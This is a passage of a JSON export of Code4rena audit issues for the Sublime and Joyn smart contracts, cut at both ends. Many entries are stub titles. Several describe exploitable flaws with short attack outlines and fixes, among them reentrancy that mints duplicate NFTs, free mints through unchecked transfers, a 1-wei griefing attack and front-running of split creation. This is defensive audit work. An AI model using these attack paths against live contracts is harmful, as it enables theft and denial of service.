"https://github.com/code-423n4/2022-03-sublime-findings/issues/16", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-sublime-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/15", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-sublime-findings", "body": "Gas Optimizations"}, {"title": "Interest accrued could be zero for small decimal tokens", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/10", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-03-sublime-findings", "body": "Interest accrued could be zero for small decimal tokens"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/8", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-sublime-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/7", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-sublime-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/5", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-sublime-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/3", "labels": ["bug", "question", "QA (Quality Assurance)"], "target": "2022-03-sublime-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-sublime-findings/issues/2", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-sublime-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/155", "labels": [], "target": "2022-03-joyn-findings", "body": "Agreements & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/131", "labels": ["bug", "sponsor confirmed", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "`RoyaltyVault.sol` is Not Equipped to Handle On-Chain Royalties From Secondary Sales", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/130", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-joyn-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-joyn/blob/main/core-contracts/contracts/CoreCollection.sol https://github.com/code-423n4/2022-03-joyn/blob/main/royalty-vault/contracts/RoyaltyVault.sol # Vulnerability details ## Impact The Joyn documentation mentions that Joyn royalty vaults should be equipped to handle revenue generated on a collection's primary and secondary sales. Currently, `CoreCollection.sol` allows the collection owner to receive a fee on each token mint, however, there is no existing implementation which allows the owner of a collection to receive fees on secondary sales. After discussion with the Joyn team, it appears that this will be gathered from Opensea which does not have an on-chain royalty mechanism. As such, each collection will need to be added manually on Opensea, introducing further centralisation risk. It is also possible for users to avoid paying the secondary fee by using other marketplaces such as Foundation. ## Recommended Mitigation Steps Consider implementing the necessary functionality to allow for the collection of fees through an on-chain mechanism. `ERC2981` outlines the approiate behaviour for this. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/128", "labels": ["bug", "sponsor acknowledged", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/125", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-joyn-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/124", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "Duplicate NFTs Can Be Minted if `payableToken` Has a Callback Attached to it", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/121", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-03-joyn-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-joyn/blob/main/core-contracts/contracts/CoreCollection.sol#L139-L167 https://github.com/code-423n4/2022-03-joyn/blob/main/core-contracts/contracts/ERC721Payable.sol#L50-L56 # Vulnerability details ## Impact The `mintToken()` function is called to mint unique tokens from an `ERC721` collection. This function will either require users to provide a merkle proof to claim an airdropped token or pay a fee in the form of a `payableToken`. However, because the `payableToken` is paid before a token is minted, it may be possible to reenter the `mintToken()` function if there is a callback attached before or after the token transfer. Because `totalSupply()` has not been updated for the new token, a user is able to bypass the `totalSupply() + amount <= maxSupply` check. As a result, if the user mints the last token, they can reenter and mint duplicate NFTs as the way `tokenId` is generated will wrap around to the start again. ## Proof of Concept For the sake of this example, let's say `startingIndex = 0` and `maxSupply = 100`. `tokenId` is minted according to `((startingIndex + totalSupply()) % maxSupply) + 1`. If we see that a user mints a token where `totalSupply() = maxSupply - 1 = 99` and they reenter the function, then the next token to mint will actually be of index `1` as `totalSupply() % maxSupply = 0`. Calculating the first `tokenId`, we get `((0 + 0) % maxSupply) + 1 = 1` which is a duplicate of our example. ## Recommended Mitigation Steps Consider adding reentrancy protections to prevent users from abusing this behaviour. It may also be useful to follow the checks-effects pattern such that all external/state changing calls are made at the end. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/120", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-joyn-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/119", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-joyn-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/113", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-joyn-findings", "body": "Gas Optimizations"}, {"title": "Add a timelock to `setPlatformFee()`", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/112", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-03-joyn-findings", "body": "Add a timelock to `setPlatformFee()`"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/110", "labels": ["bug", "sponsor confirmed", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "STORAGE COLLISION BETWEEN PROXY AND IMPLEMENTATION (LACK EIP 1967)", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/108", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-03-joyn-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-joyn/blob/c9297ccd925ebb2c44dbc6eaa3effd8db5d2368a/core-contracts/contracts/CoreProxy.sol#L9 # Vulnerability details ## Impact Storage collision because of lack of EIP1967 could cause conflicts and override sensible variables ## Proof of Concept contract CoreProxy is Ownable { address private immutable _implement; When you implement proxies, logic and implementation share the same storage layout. In order to avoid storage conflicts EIP1967 was proposed.(https://eips.ethereum.org/EIPS/eip-1967) The idea is to set proxy variables at fixed positions (like `impl` and `admin` ). For example, according to the standard, the slot for for logic address should be `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc` (obtained as `bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)` ). In this case, for example, as you inherits from `Ownable` the variable _owner is at the first slot and can be overwritten in the implementation. There is a table at OZ site that explains this scenario more in detail https://docs.openzeppelin.com/upgrades-plugins/1.x/proxies section \"Unstructured Storaged Proxies\" ## Tools Used Manual code review ## Recommended Mitigation Steps Consider using EIP1967 "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/106", "labels": ["bug", "sponsor confirmed", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/103", "labels": ["bug", "sponsor confirmed", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/99", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-joyn-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/98", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-joyn-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/97", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/96", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/95", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-joyn-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/94", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-joyn-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/92", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-joyn-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/91", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-joyn-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/89", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/88", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/87", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-joyn-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/86", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "ERC20 tokens with no return value will fail to transfer", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/83", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-03-joyn-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-joyn/blob/main/royalty-vault/contracts/RoyaltyVault.sol#L43-L46 https://github.com/code-423n4/2022-03-joyn/blob/main/royalty-vault/contracts/RoyaltyVault.sol#L51-L57 # Vulnerability details Although the ERC20 standard suggests that a transfer should return true on success, many tokens are non-compliant in this regard (including high profile, like USDT) . In that case, the .transfer() call here will revert even if the transfer is successful, because solidity will check that the RETURNDATASIZE matches the ERC20 interface. Recommendation: Consider using OpenZeppelin\u2019s SafeERC20 "}, {"title": "Not handling return value of transferFrom command can create inconsistency", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/81", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-joyn-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-joyn/blob/c9297ccd925ebb2c44dbc6eaa3effd8db5d2368a/core-contracts/contracts/CoreCollection.sol#L175-L176 https://github.com/code-423n4/2022-03-joyn/blob/c9297ccd925ebb2c44dbc6eaa3effd8db5d2368a/core-contracts/contracts/ERC721Payable.sol#L54-L55 # Vulnerability details The below transferFrom command is called at two places in the core contracts, followed by an emit event ``` payableToken.transferFrom(msg.sender,recipient,_amount) emit ...(...); ``` The return value is not checked during the payableToken.transferFrom ## Impact In the event of failure of payableToken.transferFrom(...), the emit event is still generated causing the downstream applications to capture wrong transaction / state of the protocol. ## Proof of Concept 1. Contract CoreCollection.sol function withdraw() 2. Contract ERC721Payable.sol function _handlePayment ## Recommended Mitigation Steps Add a require statement as being used in the RoyaltyVault.sol ``` require( payableToken.transferFrom(msg.sender,recipient,_amount) == true, \"Failed to transfer amount to recipient\" ); ``` "}, {"title": "Funds cannot be withdrawn in `CoreCollection.withdraw`", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/80", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-03-joyn-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-joyn/blob/main/core-contracts/contracts/CoreCollection.sol#L175 # Vulnerability details The `CoreCollection.withdraw` function uses `payableToken.transferFrom(address(this), msg.sender, amount)` to transfer tokens from the `CoreCollection` contract to the `msg.sender` ( who is the owner of the contract). The usage of `transferFrom` can result in serious issues. In fact, many ERC20 always require that in `transferFrom` `allowance[from][msg.sender] >= amount`, so in this case the call to the `withdraw` function will revert as the `allowance[CoreCollection][CoreCollection] == 0` and therefore the funds cannot ben withdrawn and will be locked forever in the contract. Recommendation : replace `transferFrom` with `transfer` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/77", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-joyn-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/76", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "`CoreCollection.setRoyaltyVault` doesn't check `royaltyVault.royaltyAsset` against `payableToken`, resulting in potential permanent lock of `payableTokens` in royaltyVault", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/73", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-joyn-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-joyn/blob/main/core-contracts/contracts/CoreCollection.sol#L185 https://github.com/code-423n4/2022-03-joyn/blob/main/core-contracts/contracts/ERC721Payable.sol#L50 https://github.com/code-423n4/2022-03-joyn/blob/main/royalty-vault/contracts/RoyaltyVault.sol#L31 # Vulnerability details ## Impact Each CoreProxy is allowed to be associated with a RoyaltyVault, the latter which would be responsible for collecting minting fees and distributing to beneficiaries. Potential mismatch between token used in CoreProxy and RoyaltyVault might result in minting tokens being permanently stuck in RoyaltyVault. ## Proof of Concept Each RoyaltyVault can only handle the `royaltyVault.royaltyAsset` token assigned upon creation, if any other kind of tokens are sent to the vault, it would get stuck inside the vault forever. ``` function sendToSplitter() external override { ... require( IERC20(royaltyAsset).transfer(splitterProxy, splitterShare) == true, \"Failed to transfer royalty Asset to splitter\" ); ... require( IERC20(royaltyAsset).transfer( platformFeeRecipient, platformShare ) == true, \"Failed to transfer royalty Asset to platform fee recipient\" ); ... } ``` Considering that pairing of CoreProxy and RoyaltyVault is not necessarily handled automatically, and can sometimes be manually assigned, and further combined with the fact that once assigned, CoreProxy does not allow modifications of the pairing RoyaltyVault. We can easily conclude that if a CoreProxy is paired with an incompatible RoyaltyVault, the `payableToken` minting fees automatically transferred to RoyaltyVault by `_handlePayment` will get permanently stuck. ``` function setRoyaltyVault(address _royaltyVault) external onlyVaultUninitialized { ... royaltyVault = _royaltyVault; ... } function _handlePayment(uint256 _amount) internal { address recipient = royaltyVaultInitialized() ? royaltyVault : address(this); payableToken.transferFrom(msg.sender, recipient, _amount); ... } ``` ## Tools Used vim, ganache-cli ## Recommended Mitigation Steps While assigning vaults to CoreProxy, check if `payableToken` is the same as `royaltyVault.royaltyAsset` ``` function setRoyaltyVault(address _royaltyVault) external onlyVaultUninitialized { require( payableToken == _royaltyVault.royaltyAsset(), \"CoreCollection : payableToken must be same as royaltyAsset.\" ); ... royaltyVault = _royaltyVault; ... } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/71", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/70", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-joyn-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/69", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-03-joyn-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/66", "labels": ["bug", "sponsor acknowledged", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/63", "labels": ["bug", "sponsor confirmed", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/62", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-joyn-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/59", "labels": ["bug", "sponsor confirmed", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/58", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-joyn-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/57", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/56", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-03-joyn-findings", "body": "Gas Optimizations"}, {"title": "Differing percentage denominators causes confusion and potentially brick claims", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/53", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-joyn-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-joyn/blob/main/splits/contracts/Splitter.sol#L14 https://github.com/code-423n4/2022-03-joyn/blob/main/splits/contracts/Splitter.sol#L103 # Vulnerability details ## Details & Impact There is a `PERCENTAGE_SCALE = 10e5` defined, but the actual denominator used is `10000`. This is aggravated by the following factors: 1. Split contracts are created by collection owners, not the factory owner. Hence, there is a likelihood for someone to mistakenly use `PERCENTAGE_SCALE` instead of `10000`. 2. The merkle root for split distribution can only be set once, and a collection\u2019s split and royalty vault can\u2019t be changed once created. Thus, if an incorrect denominator is used, the calculated claimable amount could exceed the actual available funds in the contract, causing claims to fail and funds to be permanently locked. ## Recommended Mitigation Steps Remove `PERCENTAGE_SCALE` because it is unused, or replace its value with `10_000` and use that instead. P.S: there is an issue with the example scaled percentage given for platform fees `(5% = 200)`. Should be `500` instead of `200`. "}, {"title": "ERC20 transferFrom return values not checked", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/52", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-03-joyn-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-joyn/blob/main/core-contracts/contracts/ERC721Payable.sol#L54 # Vulnerability details ## Details The `transferFrom()` function returns a boolean value indicating success. This parameter needs to be checked to see if the transfer has been successful. Oddly, `transfer()` function calls were checked. Some tokens like [EURS](https://etherscan.io/address/0xdb25f211ab05b1c97d595516f45794528a807ad8#code) and [BAT](https://etherscan.io/address/0x0d8775f648430679a709e98d2b0cb6250d2887ef#code) will **not** revert if the transfer failed but return `false` instead. Tokens that don't actually perform the transfer and return `false` are still counted as a correct transfer. ## Impact Users would be able to mint NFTs for free regardless of mint fee if tokens that don\u2019t revert on failed transfers were used. ## Recommended Mitigation Steps Check the\u00a0`success` boolean of all\u00a0`transferFrom()` calls. Alternatively, use OZ\u2019s `SafeERC20`\u2019s `safeTransferFrom()` function. "}, {"title": "CoreCollection: Starting index is pseudo-randomly generated, allowing for gameable NFT launches", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/50", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-03-joyn-findings", "body": "CoreCollection: Starting index is pseudo-randomly generated, allowing for gameable NFT launches"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/47", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/45", "labels": ["bug", "sponsor confirmed", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/44", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-joyn-findings", "body": "Gas Optimizations"}, {"title": "Ineffective Handling of FoT or Rebasing Tokens", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/43", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-joyn-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-joyn/blob/c9297ccd925ebb2c44dbc6eaa3effd8db5d2368a/royalty-vault/contracts/RoyaltyVault.sol#L43-L50 # Vulnerability details ## Impact Certain ERC20 tokens may change user's balances over time (positively or negatively) or charge a fee when a transfer is called (FoT tokens). The accounting of these tokens is not handled by `RoyaltyVault.sol` or `Splitter.sol` and may result in tokens being stuck in `Splitter` or overstating the balance of a user Thus, for FoT tokens if all users tried to claim from the Splitter there would be insufficient funds and the last user could not withdraw their tokens. ## Proof of Concept The function `RoyaltyVault.sendToSplitter()` will transfer `splitterShare` tokens to the `Splitter` and then call `incrementWindow(splitterShare)` which tells the contract to split `splitterShare` between each of the users. ``` require( IERC20(royaltyAsset).transfer(splitterProxy, splitterShare) == true, \"Failed to transfer royalty Asset to splitter\" ); require( ISplitter(splitterProxy).incrementWindow(splitterShare) == true, \"Failed to increment splitter window\" ); ``` Since the `Splitter` may receive less than `splitterShare` tokens if there is a fee on transfer the `Splitter` will overstate the amount split and each user can claim more than their value (except the last user who claims nothing as the contract will have insufficient funds to transfer them the full amount). Furthermore, if the token rebase their value of the tokens down while they are sitting in the `Splitter` the same issue will occur. If the tokens rebase their value up then this will not be accounted for in the protocol. ## Recommended Mitigation Steps It is recommend documenting clearly that rebasing token should not be used in the protocol. Alternatively, if it is a requirement to handle rebasing tokens balance checks should be done before and after the transfer to ensure accurate accounting. Note: this makes the contract vulnerable to reentrancy and so a [reentrancy guard](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol) must be placed over the function `sendToSplitter()`. ``` uint256 balanceBefore = IERC20(royaltyAsset).balanceOf(splitterProxy); require( IERC20(royaltyAsset).transfer(splitterProxy, splitterShare) == true, \"Failed to transfer royalty Asset to splitter\" ); uint256 balanceAfter = IERC20(royaltyAsset).balanceOf(splitterProxy); require( ISplitter(splitterProxy).incrementWindow(balanceAfter - balanceBefore) == true, \"Failed to increment splitter window\" ); ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/40", "labels": ["bug", "sponsor confirmed", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/39", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-joyn-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/38", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "CoreCollection's token transfer can be disabled", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/37", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-joyn-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-joyn/blob/main/royalty-vault/contracts/RoyaltyVault.sol#L51-L57 https://github.com/code-423n4/2022-03-joyn/blob/main/splits/contracts/Splitter.sol#L164 # Vulnerability details ## Impact When royaltyAsset is an ERC20 that doesn't allow zero amount transfers, the following griefing attack is possible, entirely disabling CoreCollection token transfer by precision degradation as both reward distribution and vault balance can be manipulated. Suppose splitterProxy is set, all addresses and fees are configured correctly, system is in normal operating state. POC: Bob the attacker setup a bot which every time it observes positive royaltyVault balance: 1) runs `sendToSplitter()`, distributing the whole current royaltyAsset balance of the vault to splitter and platform, so vault balance becomes zero 2) sends `1 wei` of royaltyAsset to the royaltyVault balance 3) each next CoreCollection token transfer will calculate `platformShare = (balanceOfVault * platformFee) / 10000`, which will be 0 as platformFee is supposed to be less than 100%, and then there will be an attempt to transfer it to `platformFeeRecipient` If royaltyAsset reverts on zero amount transfers, the whole operation will fail as the success of `IERC20(royaltyAsset).transfer(platformFeeRecipient, platformShare)` is required for each CoreCollection token transfer, which invokes `sendToSplitter()` in `_beforeTokenTransfer()` as vault balance is positive in (3). Notice, that Bob needn't to front run the transfer, it is enough to empty the balance in a lazy way, so cumulative gas cost of the attack can be kept moderate. Setting severity to medium as on one hand, the attack is easy to setup and completely blocks token transfers, making the system inoperable, and it looks like system has to be redeployed on such type of attack with some manual management of user funds, which means additional operational costs and reputational damage. On the another, it is limited to the zero amount reverting royaltyAsset case or the case when platformFee is set to 100%. That is, as an another corner case, if platformFee is set to 100%, `platformShare` will be `1 wei` and `splitterShare` be zero in (3), so this attack be valid for any royaltyAsset as it is required in Splitter's `incrementWindow` that `splitterShare` be positive. ## Proof of Concept As royaltyAsset can be an arbitrary ERC20 it can be reverting on zero value transfers: https://github.com/d-xo/weird-erc20#revert-on-zero-value-transfers `_beforeTokenTransfer` runs `IRoyaltyVault(royaltyVault).sendToSplitter()` whenever royaltyVault is set and have positive balance: https://github.com/code-423n4/2022-03-joyn/blob/main/core-contracts/contracts/CoreCollection.sol#L307 `sendToSplitter()` leaves vault balance as exactly zero as `splitterShare = balanceOfVault - platformShare`, i.e. no dust is left behind: https://github.com/code-423n4/2022-03-joyn/blob/main/royalty-vault/contracts/RoyaltyVault.sol#L41 This way the balance opens up for the tiny amount manipulation. One require that can fail the whole operation is `platformShare` transfer: https://github.com/code-423n4/2022-03-joyn/blob/main/royalty-vault/contracts/RoyaltyVault.sol#L51-L57 Another is positive `royaltyAmount` = `splitterShare` requirement: https://github.com/code-423n4/2022-03-joyn/blob/main/splits/contracts/Splitter.sol#L164 ## Recommended Mitigation Steps The issue is that token transfer, which is core system operation, require fee splitting to be done on the spot. More failsafe design is to try to send the fees and record the amounts not yet distributed, not requiring immediate success. The logic here is that transfer itself is more important than fee distribution, which is simple enough and can be performed in a variety of ways later. Another issue is a combination of direct balance usage and the lack of access controls of the sendToSplitter function, but it only affects fee splitting and is somewhat harder to address. As one approach consider trying, but not requiring `IRoyaltyVault(royaltyVault).sendToSplitter()` to run successfully as it can be executed later with the same result. Another, a simpler one (the same is in `Griefing attack is possible making Splitter's claimForAllWindows inaccessible` issue), is to introduce action threshold, `MIN_ROYALTY_AMOUNT`, to `sendToSplitter()`, for example: Now: ``` /** * @dev Send accumulated royalty to splitter. */ function sendToSplitter() external override { uint256 balanceOfVault = getVaultBalance(); require( balanceOfVault > 0, \"Vault does not have enough royalty Asset to send\" ); ... emit RoyaltySentToSplitter(...); emit FeeSentToPlatform(...); } ``` To be: ``` /** * @dev Send accumulated royalty to splitter if it's above MIN_ROYALTY_AMOUNT threshold. */ function sendToSplitter() external override { uint256 balanceOfVault = getVaultBalance(); if (balanceOfVault > MIN_ROYALTY_AMOUNT) { ... emit RoyaltySentToSplitter(...); emit FeeSentToPlatform(...); } } ``` "}, {"title": "DoS: Attacker May Front-Run `createSplit()` With A `merkleRoot` Causing Future Transactions With The Same `merkleRoot` to Revert", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/33", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-03-joyn-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-joyn/blob/c9297ccd925ebb2c44dbc6eaa3effd8db5d2368a/splits/contracts/SplitFactory.sol#L153-L155 # Vulnerability details ## Impact A `merkleRoot` may only be used once in `createSplit()` since it is used as `salt` to the deployment of a `SplitProxy`. The result is an attacker may front-run any `createSplit()` transaction in the mem pool and create another `createSplit()` transaction with a higher gas price that uses the same `merkleRoot` but changes the other fields such as the `_collectionContract` or `_splitAsset()`. The original transaction will revert and the user will not be able to send any more transaction with this `merkleRoot`. The user would therefore have to generate a new merkle tree with different address, different allocations or a different order of leaves in the tree to create a new merkle root. However, the attack is repeateable and there is no guarantee this new merkle root will be successfully added to a split without the attacker front-running the transaction again. ## Proof of Concept The excerpt from `createSplitProxy()` shows the `merkleRoot()` being used as a `salt`. ``` splitProxy = address( new SplitProxy{salt: keccak256(abi.encode(merkleRoot))}() ); ``` ## Recommended Mitigation Steps As seems to be the case here if the transaction address does NOT need to be known ahead of time consider removing the `salt` parameter from the contract deployment. Otherwise, if the transaction address does need to be known ahead of time then consider concatenating `msg.sender` to the `merkleRoot`. e.g. ``` splitProxy = address( new SplitProxy{salt: keccak256(abi.encode(msg.sender, merkleRoot))}() ) ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/32", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/30", "labels": ["bug", "sponsor confirmed", "QA (Quality Assurance)"], "target": "2022-03-joyn-findings", "body": "QA Report"}, {"title": "Gas costs will likely result in any fees sent to the Splitter being economically unviable to recover.", "html_url": "https://github.com/code-423n4/2022-03-joyn-findings/issues/27", "labels": 